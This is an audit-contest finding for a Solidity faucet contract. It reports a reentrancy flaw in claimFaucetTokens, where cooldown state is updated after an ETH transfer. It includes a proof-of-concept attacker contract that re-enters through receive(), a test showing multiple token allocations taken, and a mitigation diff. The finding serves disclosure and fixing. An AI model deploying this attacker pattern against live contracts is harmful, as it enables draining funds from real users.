Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Attack

Root + Impact

Description

  • The claimFaucetTokens function should allow users to claim tokens only once every 3 days with proper state updates occurring before any external calls to prevent reentrancy attacks.

  • The function violates the Checks-Effects-Interactions pattern by making an external ETH transfer call (line 198) before updating critical state variables like lastClaimTime (line 227), enabling malicious contracts to reenter and bypass cooldown restrictions.

function claimFaucetTokens() public {
// Checks and ETH drip logic...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true; // State updated before external call
dailyDrips += sepEthAmountToDrip; // State updated before external call
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // EXTERNAL CALL
// ... success handling
}
// Effects (AFTER external call - VULNERABLE)
lastClaimTime[faucetClaimer] = block.timestamp; // Should be BEFORE external call
dailyClaimCount++; // Should be BEFORE external call
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
}

Risk

Likelihood:

  • Any malicious contract can exploit this vulnerability by implementing a receive() function that calls claimFaucetTokens() during the ETH transfer, as the cooldown state is not updated until after the external call completes.

  • The attack requires no special conditions or timing, making it consistently executable whenever the faucet has sufficient ETH balance for the drip mechanism.

Impact:

  • Complete bypass of the 3-day cooldown mechanism, allowing attackers to drain multiple faucet token allocations (1000 tokens each) in a single transaction through recursive calls.

  • Violation of daily claim limits and ETH distribution caps, as the dailyClaimCount increment occurs after the vulnerable external call, enabling unlimited claims before the counter updates.

Proof of Concept

The attack exploits the reentrancy vulnerability by creating a malicious contract that calls claimFaucetTokens() from its receive() function. Since lastClaimTime is updated after the ETH transfer, each reentrant call bypasses the cooldown check and steals additional tokens.

contract MaliciousContract {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
receive() external payable {
if (attackCount < 3 && address(faucet).balance >= 0.005 ether) {
attackCount++;
faucet.claimFaucetTokens(); // Reentrancy attack
}
}
function attack() external {
faucet.claimFaucetTokens(); // Initial call
}
}
function testReentrancyAttack() public {
MaliciousContract attacker = new MaliciousContract(address(faucet));
// Single transaction steals multiple token allocations
attacker.attack();
// Result: Attacker receives 4000 tokens (4 calls * 1000 tokens)
// instead of the intended 1000 tokens with 3-day cooldown
assertEq(faucet.balanceOf(address(attacker)), 4000 * 10**18);
}

Recommended Mitigation

Move all state updates before any external calls to follow the Checks-Effects-Interactions pattern and prevent reentrancy attacks. Additionally, consider adding a reentrancy guard for extra protection.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// ... existing checks ...
// Effects - Update ALL state before external calls
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// ETH drip logic with external call
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... daily reset logic ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// Interactions - External calls after state updates
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// ... handle success ...
}
}
- // Remove these lines (moved above)
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Final interaction
_transfer(address(this), faucetClaimer, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.